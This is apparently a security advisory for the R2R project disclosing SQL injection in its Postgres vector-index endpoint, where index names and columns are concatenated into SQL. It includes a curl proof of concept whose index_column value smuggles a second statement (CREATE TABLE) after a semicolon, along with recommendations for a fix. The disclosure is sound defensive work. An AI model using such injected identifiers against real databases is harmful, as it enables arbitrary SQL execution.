[Security][High] SQL injection in vector index management (create_index / delete_index)
Author: inco308Created May 23, 2026Updated May 29, 2026
Summary
While auditing the Postgres database provider, I found a SQL injection vulnerability in PostgresChunksHandler where user-supplied index_name and index_column are concatenated into SQL using f-strings and executed. The endpoint exposed is /v3/indices.
Risk An authenticated or default-admin user can craft identifiers that execute arbitrary SQL (create/drop objects, escalate privileges, persist backdoors).
Reproduction (PoC)
curl -X POST "http://localhost:7272/v3/indices" \
-H "Content-Type: application/json" \
-d '{
"config": {
"table_name": "chunks",
"index_method": "hnsw",
"index_measure": "cosine_distance",
"index_name": "poc_idx",
"index_column": "vec vector_cosine_ops); CREATE TABLE public.poc_success_executed (info text); --",
"concurrently": false
}
}'Expected result
- The service should validate identifiers and reject the request (HTTP 400) with a clear validation error. No injected SQL should be constructed or executed.
Actual result
- The service constructs a
CREATE INDEX ... USING ... ({index_column} _cosine_ops);SQL string and attempts to execute it. The underlying database driver allows the execution of multiple semicolon-separated statements, which executes the injectedCREATE TABLEcommand on the database.
Affected files
py/core/providers/database/chunks.py
Recommendation
- Reject or strictly validate user-controlled identifiers.
- Quote SQL identifiers properly (double-quote) and limit allowed characters/length.
- Consider enabling
require_authenticationby default and add RBAC for management endpoints.
Severity / Notes
- Severity: High (arbitrary SQL execution).
- Consider backporting the fix to maintained release branches.
Source: SciPhi-AI/R2R